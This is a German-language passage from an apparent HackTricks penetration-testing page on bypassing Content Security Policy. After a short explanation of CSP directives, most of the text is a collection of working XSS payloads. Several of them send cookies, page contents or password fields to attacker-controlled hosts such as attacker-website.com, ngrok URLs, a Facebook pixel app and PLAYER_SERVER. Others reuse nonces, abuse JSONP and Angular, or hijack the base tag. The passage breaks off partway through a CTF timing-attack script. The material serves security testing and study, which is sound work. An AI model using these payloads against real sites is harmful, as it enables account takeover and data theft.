# Content Security Policy (CSP) Bypass

{{#include ../../banners/hacktricks-training.md}}

## Was ist CSP

Content Security Policy (CSP) wird als eine Browsertechnologie anerkannt, die hauptsächlich darauf abzielt, **sich gegen Angriffe wie Cross-Site-Scripting (XSS)** zu schützen. Es funktioniert, indem es Pfade und Quellen definiert und detailliert, von denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Reihe von Elementen wie Bilder, Frames und JavaScript. Zum Beispiel könnte eine Richtlinie das Laden und Ausführen von Ressourcen von derselben Domain (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von String-Code durch Funktionen wie `eval`, `setTimeout` oder `setInterval`.

Die Implementierung von CSP erfolgt durch **Antwort-Header** oder durch die Einfügung von **Meta-Elementen in die HTML-Seite**. In Übereinstimmung mit dieser Richtlinie setzen Browser diese Vorgaben proaktiv durch und blockieren sofort alle erkannten Verstöße.

- Implementiert über Antwort-Header:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- Implementiert über das Meta-Tag:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Header

CSP kann mit diesen Headern durchgesetzt oder überwacht werden:

- `Content-Security-Policy`: Setzt die CSP durch; der Browser blockiert alle Verstöße.
- `Content-Security-Policy-Report-Only`: Wird zur Überwachung verwendet; meldet Verstöße, ohne sie zu blockieren. Ideal für Tests in Pre-Production-Umgebungen.

### Ressourcen definieren

CSP beschränkt die Ursprünge für das Laden von aktiven und passiven Inhalten und steuert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Eine Beispielrichtlinie ist:
```bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### Direktiven

- **script-src**: Erlaubt spezifische Quellen für JavaScript, einschließlich URLs, Inline-Skripte und Skripte, die durch Ereignis-Handler oder XSLT-Stylesheets ausgelöst werden.
- **default-src**: Legt eine Standardrichtlinie für das Abrufen von Ressourcen fest, wenn spezifische Abrufrichtlinien fehlen.
- **child-src**: Gibt erlaubte Ressourcen für Web-Worker und eingebettete Frame-Inhalte an.
- **connect-src**: Beschränkt URLs, die mit Schnittstellen wie fetch, WebSocket, XMLHttpRequest geladen werden können.
- **frame-src**: Beschränkt URLs für Frames.
- **frame-ancestors**: Gibt an, welche Quellen die aktuelle Seite einbetten können, anwendbar auf Elemente wie `<frame>`, `<iframe>`, `<object>`, `<embed>` und `<applet>`.
- **img-src**: Definiert erlaubte Quellen für Bilder.
- **font-src**: Gibt gültige Quellen für Schriften an, die mit `@font-face` geladen werden.
- **manifest-src**: Definiert erlaubte Quellen für Anwendungsmanifestdateien.
- **media-src**: Definiert erlaubte Quellen für das Laden von Medienobjekten.
- **object-src**: Definiert erlaubte Quellen für `<object>`, `<embed>` und `<applet>`-Elemente.
- **base-uri**: Gibt erlaubte URLs für das Laden mit `<base>`-Elementen an.
- **form-action**: Listet gültige Endpunkte für Formularübermittlungen auf.
- **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen darf.
- **upgrade-insecure-requests**: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben.
- **sandbox**: Wendet Einschränkungen an, die dem Sandbox-Attribut eines `<iframe>` ähneln.
- **report-to**: Gibt eine Gruppe an, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird.
- **worker-src**: Gibt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte an.
- **prefetch-src**: Gibt gültige Quellen für Ressourcen an, die abgerufen oder vorab abgerufen werden.
- **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf irgendeinem Weg navigieren kann (a, form, window.location, window.open usw.)

### Quellen

- `*`: Erlaubt alle URLs, außer denen mit `data:`, `blob:`, `filesystem:`-Schemas.
- `'self'`: Erlaubt das Laden von derselben Domain.
- `'data'`: Erlaubt das Laden von Ressourcen über das Datenschema (z. B. Base64-kodierte Bilder).
- `'none'`: Blockiert das Laden von jeder Quelle.
- `'unsafe-eval'`: Erlaubt die Verwendung von `eval()` und ähnlichen Methoden, aus Sicherheitsgründen nicht empfohlen.
- `'unsafe-hashes'`: Ermöglicht spezifische Inline-Ereignis-Handler.
- `'unsafe-inline'`: Erlaubt die Verwendung von Inline-Ressourcen wie Inline-`<script>` oder `<style>`, aus Sicherheitsgründen nicht empfohlen.
- `'nonce'`: Eine Whitelist für spezifische Inline-Skripte unter Verwendung eines kryptografischen Nonce (einmal verwendete Zahl).
- Wenn Sie eine eingeschränkte Ausführung von JS haben, ist es möglich, einen verwendeten Nonce innerhalb der Seite mit `doc.defaultView.top.document.querySelector("[nonce]")` zu erhalten und ihn dann wiederzuverwenden, um ein bösartiges Skript zu laden (wenn strict-dynamic verwendet wird, kann jede erlaubte Quelle neue Quellen laden, sodass dies nicht erforderlich ist), wie in:

<details>

<summary>Skript laden, das Nonce wiederverwendet</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>

- `'sha256-<hash>'`: Whitelistet Skripte mit einem spezifischen sha256-Hash.
- `'strict-dynamic'`: Erlaubt das Laden von Skripten aus jeder Quelle, wenn sie durch ein nonce oder einen Hash auf die Whitelist gesetzt wurde.
- `'host'`: Gibt einen spezifischen Host an, wie `example.com`.
- `https:`: Beschränkt URLs auf solche, die HTTPS verwenden.
- `blob:`: Erlaubt das Laden von Ressourcen von Blob-URLs (z.B. Blob-URLs, die über JavaScript erstellt wurden).
- `filesystem:`: Erlaubt das Laden von Ressourcen vom Dateisystem.
- `'report-sample'`: Beinhaltet ein Beispiel des verletzenden Codes im Verletzungsbericht (nützlich für das Debugging).
- `'strict-origin'`: Ähnlich wie 'self', stellt jedoch sicher, dass das Sicherheitsniveau des Protokolls der Quellen mit dem Dokument übereinstimmt (nur sichere Ursprünge können Ressourcen von sicheren Ursprüngen laden).
- `'strict-origin-when-cross-origin'`: Sendet vollständige URLs bei Anfragen mit demselben Ursprung, sendet jedoch nur den Ursprung, wenn die Anfrage cross-origin ist.
- `'unsafe-allow-redirects'`: Erlaubt das Laden von Ressourcen, die sofort zu einer anderen Ressource umleiten. Nicht empfohlen, da es die Sicherheit schwächt.

## Unsichere CSP-Regeln

### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Working payload: `"/><script>alert(1);</script>`

#### self + 'unsafe-inline' über Iframes

{{#ref}}
csp-bypass-self-+-unsafe-inline-with-iframes.md
{{#endref}}

### 'unsafe-eval'

> [!CAUTION]
> Dies funktioniert nicht, für mehr Informationen [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Funktionierender Payload:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic

Wenn Sie es irgendwie schaffen können, dass ein **erlaubter JS-Code ein neues Skript-Tag** im DOM mit Ihrem JS-Code erstellt, weil ein erlaubtes Skript es erstellt, wird das **neue Skript-Tag ausgeführt**.

### Wildcard (*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Funktionierender Payload:
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Fehlende object-src und default-src

> [!CAUTION] > **Es scheint, dass dies nicht mehr funktioniert**
```yaml
Content-Security-Policy: script-src 'self' ;
```
Funktionierende Payloads:
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Datei-Upload + 'self'
```yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;
```
Wenn Sie eine JS-Datei hochladen können, können Sie diese CSP umgehen:

Funktionierender Payload:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
Es ist jedoch sehr wahrscheinlich, dass der Server **die hochgeladene Datei validiert** und nur **bestimmte Dateitypen** zulässt.

Darüber hinaus, selbst wenn Sie einen **JS-Code innerhalb** einer Datei mit einer vom Server akzeptierten Erweiterung (wie: _script.png_) hochladen könnten, wird dies nicht ausreichen, da einige Server wie der Apache-Server **den MIME-Typ der Datei basierend auf der Erweiterung auswählen** und Browser wie Chrome **die Ausführung von Javascript**-Code in etwas, das ein Bild sein sollte, **ablehnen**. "Hoffentlich" gibt es Fehler. Zum Beispiel habe ich von einem CTF gelernt, dass **Apache die _**.wave**_-Erweiterung nicht kennt, daher wird sie nicht mit einem **MIME-Typ wie audio/** bedient.

Von hier aus, wenn Sie ein XSS und einen Datei-Upload finden und es Ihnen gelingt, eine **falsch interpretierte Erweiterung** zu finden, könnten Sie versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das korrekte Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglot ([einige Polyglot-Beispiele hier](https://github.com/Polydet/polyglot-database)).

### Form-action

Wenn es nicht möglich ist, JS zu injizieren, könnten Sie dennoch versuchen, beispielsweise Anmeldeinformationen **durch das Injizieren einer Formularaktion** zu exfiltrieren (und vielleicht erwarten, dass Passwortmanager Passwörter automatisch ausfüllen). Sie finden ein [**Beispiel in diesem Bericht**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Beachten Sie auch, dass `default-src` keine Formularaktionen abdeckt.

### Third Party Endpoints + ('unsafe-eval')

> [!WARNING]
> Für einige der folgenden Payloads **ist `unsafe-eval` nicht einmal erforderlich**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Laden Sie eine verwundbare Version von Angular und führen Sie beliebigen JS aus:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([schau dir diesen Beitrag an](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):

> [!NOTE]
> Der Beitrag zeigt, dass du **alle** **Bibliotheken** von `cdn.cloudflare.com` (oder einem anderen erlaubten JS-Bibliotheks-Repo) **laden**, alle hinzugefügten Funktionen aus jeder Bibliothek ausführen und **überprüfen** kannst, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
```
Angular XSS von einem Klassennamen:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Missbrauch des Google reCAPTCHA JS-Codes

Laut [**diesem CTF-Bericht**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) können Sie [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) innerhalb einer CSP missbrauchen, um beliebigen JS-Code auszuführen und die CSP zu umgehen:
```html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Mehr [**Payloads aus diesem Bericht**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### Missbrauch von www.google.com für offene Weiterleitungen

Die folgende URL leitet zu example.com weiter (von [hier](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Missbrauch von \*.google.com/script.google.com

Es ist möglich, Google Apps Script zu missbrauchen, um Informationen auf einer Seite innerhalb von script.google.com zu erhalten. Wie es [in diesem Bericht](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) gemacht wird.

### Drittanbieter-Endpunkte + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Szenarien wie dieses, in denen `script-src` auf `self` und eine bestimmte, auf die Whitelist gesetzte Domain eingestellt ist, können mit JSONP umgangen werden. JSONP-Endpunkte erlauben unsichere Callback-Methoden, die es einem Angreifer ermöglichen, XSS durchzuführen, funktionierender Payload:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```

```html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält einsatzbereite JSONP-Endpunkte zum Umgehen von CSP auf verschiedenen Websites.**

Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpunkt eine Open Redirect enthält**, da, wenn der ursprüngliche Endpunkt vertrauenswürdig ist, auch Weiterleitungen vertrauenswürdig sind.

### Missbrauch durch Dritte

Wie im [folgenden Beitrag](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) beschrieben, gibt es viele Drittanbieter-Domains, die irgendwo in der CSP erlaubt sein könnten und missbraucht werden können, um entweder Daten zu exfiltrieren oder JavaScript-Code auszuführen. Einige dieser Drittanbieter sind:

| Entity            | Allowed Domain                               | Capabilities |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook          | www.facebook.com, \*.facebook.com            | Exfil        |
| Hotjar            | \*.hotjar.com, ask.hotjar.io                 | Exfil        |
| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net            | Exec         |
| Amazon CloudFront | \*.cloudfront.net                            | Exfil, Exec  |
| Amazon AWS        | \*.amazonaws.com                             | Exfil, Exec  |
| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
| Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec  |
| Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec  |

Wenn Sie eine der erlaubten Domains in der CSP Ihres Ziels finden, besteht die Möglichkeit, dass Sie die CSP umgehen können, indem Sie sich bei dem Drittanbieterdienst registrieren und entweder Daten an diesen Dienst exfiltrieren oder Code ausführen.

Zum Beispiel, wenn Sie die folgende CSP finden:
```
Content-Security-Policy​: default-src 'self’ www.facebook.com;​
```
oder
```
Content-Security-Policy​: connect-src www.facebook.com;​
```
Sie sollten in der Lage sein, Daten zu exfiltrieren, ähnlich wie es immer mit [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) gemacht wurde. In diesem Fall folgen Sie diesen allgemeinen Schritten:

1. Erstellen Sie hier ein Facebook-Entwicklerkonto.
2. Erstellen Sie eine neue "Facebook Login"-App und wählen Sie "Website".
3. Gehen Sie zu "Einstellungen -> Grundlegend" und holen Sie sich Ihre "App-ID".
4. Auf der Zielseite, von der Sie Daten exfiltrieren möchten, können Sie Daten direkt über das Facebook SDK-Gadget "fbq" durch ein "customEvent" und die Datenlast exfiltrieren.
5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager in einer URL ähnlich wie dieser gefunden werden könnte: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Wählen Sie die Registerkarte "Testereignisse", um die von "Ihrer" Website gesendeten Ereignisse zu sehen.

Führen Sie dann auf der Seite des Opfers den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, das auf die App-ID des Angreifers im Facebook-Entwicklerkonto verweist, und geben Sie ein benutzerdefiniertes Ereignis wie folgt aus:
```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});
```
Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tabelle angegeben sind, gibt es viele weitere Möglichkeiten, wie Sie diese missbrauchen können. Verweisen Sie auf den vorherigen [Blogbeitrag](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) für zusätzliche Erklärungen zu anderen Drittanbieter-Missbräuchen.

### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>

Neben der oben genannten Umleitung zum Umgehen von Pfadbeschränkungen gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann.

Wenn CSP beispielsweise den Pfad `https://example.com/scripts/react/` zulässt, kann er wie folgt umgangen werden:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Der Browser wird letztendlich `https://example.com/scripts/angular/angular.js` laden.

Dies funktioniert, weil der Browser eine Datei mit dem Namen `..%2fangular%2fangular.js` lädt, die sich unter `https://example.com/scripts/react/` befindet, was mit CSP konform ist.

∑, sie werden es dekodieren und effektiv `https://example.com/scripts/react/../angular/angular.js` anfordern, was gleichwertig ist mit `https://example.com/scripts/angular/angular.js`.

Durch **Ausnutzung dieser Inkonsistenz in der URL-Interpretation zwischen dem Browser und dem Server können die Pfadregeln umgangen werden**.

Die Lösung besteht darin, `%2f` auf der Serverseite nicht als `/` zu behandeln, um eine konsistente Interpretation zwischen dem Browser und dem Server sicherzustellen und dieses Problem zu vermeiden.

Online-Beispiel:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)

### Iframes JS-Ausführung

{{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}

### fehlende **base-uri**

Wenn die **base-uri**-Richtlinie fehlt, können Sie dies ausnutzen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) durchzuführen.

Darüber hinaus, wenn die **Seite ein Skript mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) unter Verwendung eines **Nonce**, können Sie den **base** **tag** ausnutzen, um das Skript von **Ihrem eigenen Server zu laden und eine XSS zu erreichen.**\
Wenn die anfällige Seite mit **httpS** geladen wird, verwenden Sie eine httpS-URL im Basis-Tag.
```html
<base href="https://www.attacker.com/" />
```
### AngularJS-Ereignisse

Eine spezifische Richtlinie, bekannt als Content Security Policy (CSP), kann JavaScript-Ereignisse einschränken. Dennoch führt AngularJS benutzerdefinierte Ereignisse als Alternative ein. Innerhalb eines Ereignisses stellt AngularJS ein einzigartiges Objekt `$event` zur Verfügung, das auf das native Browser-Ereignisobjekt verweist. Dieses `$event`-Objekt kann ausgenutzt werden, um die CSP zu umgehen. Bemerkenswerterweise besitzt das `$event/event`-Objekt in Chrome ein `path`-Attribut, das ein Objektarray enthält, das in der Ausführungskette des Ereignisses beteiligt ist, wobei das `window`-Objekt stets am Ende positioniert ist. Diese Struktur ist entscheidend für Sandbox-Umgehungstaktiken.

Durch die Weiterleitung dieses Arrays an den `orderBy`-Filter ist es möglich, über es zu iterieren und das terminale Element (das `window`-Objekt) zu nutzen, um eine globale Funktion wie `alert()` auszulösen. Der unten demonstrierte Codeausschnitt verdeutlicht diesen Prozess:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Dieser Ausschnitt hebt die Verwendung der `ng-focus`-Direktive hervor, um das Ereignis auszulösen, wobei `$event.path|orderBy` verwendet wird, um das `path`-Array zu manipulieren, und das `window`-Objekt genutzt wird, um die `alert()`-Funktion auszuführen, wodurch `document.cookie` offengelegt wird.

**Finden Sie weitere Angular-Bypässe in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)

### AngularJS und genehmigte Domain
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Eine CSP-Richtlinie, die Domains für das Laden von Skripten in einer Angular JS-Anwendung auf die Whitelist setzt, kann durch die Ausführung von Callback-Funktionen und bestimmten anfälligen Klassen umgangen werden. Weitere Informationen zu dieser Technik finden Sie in einem detaillierten Leitfaden, der in diesem [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) verfügbar ist.

Funktionierende Payloads:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Andere JSONP beliebige Ausführung Endpunkte können [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) gefunden werden (einige von ihnen wurden gelöscht oder behoben)

### Umgehung durch Umleitung

Was passiert, wenn CSP auf serverseitige Umleitungen trifft? Wenn die Umleitung zu einer anderen Herkunft führt, die nicht erlaubt ist, wird sie weiterhin fehlschlagen.

Wenn die Umleitung jedoch zu einem anderen Pfad führt, kann sie die ursprünglichen Einschränkungen umgehen, gemäß der Beschreibung in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects).

Hier ist ein Beispiel:
```html
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
```
Wenn CSP auf `https://www.google.com/a/b/c/d` gesetzt ist, werden sowohl `/test` als auch `/a/test` Skripte von CSP blockiert.

Die endgültige `http://localhost:5555/301` wird jedoch **serverseitig auf `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` umgeleitet**. Da es sich um eine Umleitung handelt, wird der **Pfad nicht berücksichtigt**, und das **Skript kann geladen werden**, wodurch die Pfadbeschränkung umgangen wird.

Mit dieser Umleitung wird selbst dann, wenn der Pfad vollständig angegeben ist, weiterhin umgangen.

Daher ist die beste Lösung, sicherzustellen, dass die Website keine offenen Umleitungsanfälligkeiten hat und dass es keine Domains gibt, die in den CSP-Regeln ausgenutzt werden können.

### Bypass CSP mit schwebendem Markup

Lies [wie hier](../dangling-markup-html-scriptless-injection/index.html).

### 'unsafe-inline'; img-src \*; über XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` bedeutet, dass Sie jeden Skript im Code ausführen können (XSS kann Code ausführen) und `img-src *` bedeutet, dass Sie auf der Webseite jedes Bild aus jeder Quelle verwenden können.

Sie können diese CSP umgehen, indem Sie die Daten über Bilder exfiltrieren (in diesem Fall missbraucht das XSS eine CSRF, bei der eine vom Bot zugängliche Seite eine SQLi enthält, und das Flag über ein Bild extrahiert wird):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
Von: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

Sie könnten auch diese Konfiguration missbrauchen, um **JavaScript-Code, der in ein Bild eingefügt ist, zu laden**. Wenn die Seite beispielsweise das Laden von Bildern von Twitter erlaubt, könnten Sie ein **spezielles Bild erstellen**, es auf Twitter **hochladen** und die "**unsafe-inline**" nutzen, um einen JS-Code (wie bei einem regulären XSS) auszuführen, der das **Bild lädt**, den **JS** daraus **extrahiert** und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)

### Mit Service Workern

Die Funktion **`importScripts`** von Service Workern ist nicht durch CSP eingeschränkt:

{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}}

### Policy Injection

**Forschung:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)

#### Chrome

Wenn ein **Parameter**, den Sie senden, in die **Deklaration** der **Richtlinie** **eingefügt** wird, könnten Sie die **Richtlinie** auf eine Weise **ändern**, die sie **nutzlos** macht. Sie könnten **Script 'unsafe-inline'** mit einem dieser Umgehungen **erlauben**:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Weil diese Direktive **bestehende script-src-Direktiven überschreibt**.\
Ein Beispiel finden Sie hier: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)

#### Edge

In Edge ist es viel einfacher. Wenn Sie in der CSP nur dies hinzufügen können: **`;_`** **Edge** würde die gesamte **Richtlinie** **fallen lassen**.\
Beispiel: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)

### img-src \*; via XSS (iframe) - Zeitangriff

Beachten Sie das Fehlen der Direktive `'unsafe-inline'`\
Diesmal können Sie das Opfer **eine Seite laden** lassen, die **unter Ihrer Kontrolle** steht, über **XSS** mit einem `<iframe`. Diesmal werden Sie das Opfer dazu bringen, auf die Seite zuzugreifen, von der Sie Informationen extrahieren möchten (**CSRF**). Sie können nicht auf den Inhalt der Seite zugreifen, aber wenn Sie irgendwie **die Zeit kontrollieren können, die die Seite zum Laden benötigt**, können Sie die Informationen extrahieren, die Sie benötigen.

Diesmal wird ein **Flag** extrahiert, wann immer ein **Zeichen korrekt erraten wird** über SQLi, die **Antwort** benötigt **mehr Zeit** aufgrund der Schlaf-Funktion. Dann werden Sie in der Lage sein, das Flag zu extrahieren:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
x = escape(x)
